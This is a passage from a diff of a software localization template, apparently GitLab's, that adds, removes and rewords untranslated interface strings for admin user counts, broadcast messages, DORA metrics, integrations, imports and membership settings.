@@ -2473,6 +2479,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2851,15 +2860,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2941,9 +2953,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2971,6 +2992,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3025,6 +3052,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3268,9 +3304,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,7 +3598,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3607,6 +3643,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3865,6 +3904,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4507,9 +4549,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4678,15 +4717,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4720,9 +4750,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4976,6 +5003,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5122,9 +5161,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5216,6 +5252,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5364,6 +5403,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5923,6 +5965,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7523,9 +7574,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8124,6 +8259,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8235,13 +8373,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8528,6 +8663,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8687,12 +8825,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8876,6 +9008,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9003,6 +9138,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9105,12 +9243,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9778,21 +9922,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10283,6 +10412,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11180,6 +11312,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12495,6 +12636,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12612,9 +12789,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14370,7 +14566,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16291,10 +16493,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16805,9 +17001,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16841,9 +17034,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17167,9 +17357,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17597,9 +17784,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17918,16 +18102,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18027,6 +18208,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18689,9 +18873,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19107,6 +19288,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19119,6 +19303,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19143,6 +19333,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19173,9 +19369,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19662,7 +19870,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20145,9 +20353,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20202,6 +20416,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20220,6 +20443,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20337,6 +20563,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20656,6 +20885,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21094,6 +21326,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21318,12 +21553,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22384,7 +22631,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22448,9 +22695,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24315,9 +24577,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24482,9 +24741,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24617,6 +24873,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25454,6 +25710,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25571,6 +25827,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25640,9 +25899,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25655,9 +25911,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,6 +26294,9 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26047,6 +26306,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26068,10 +26342,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
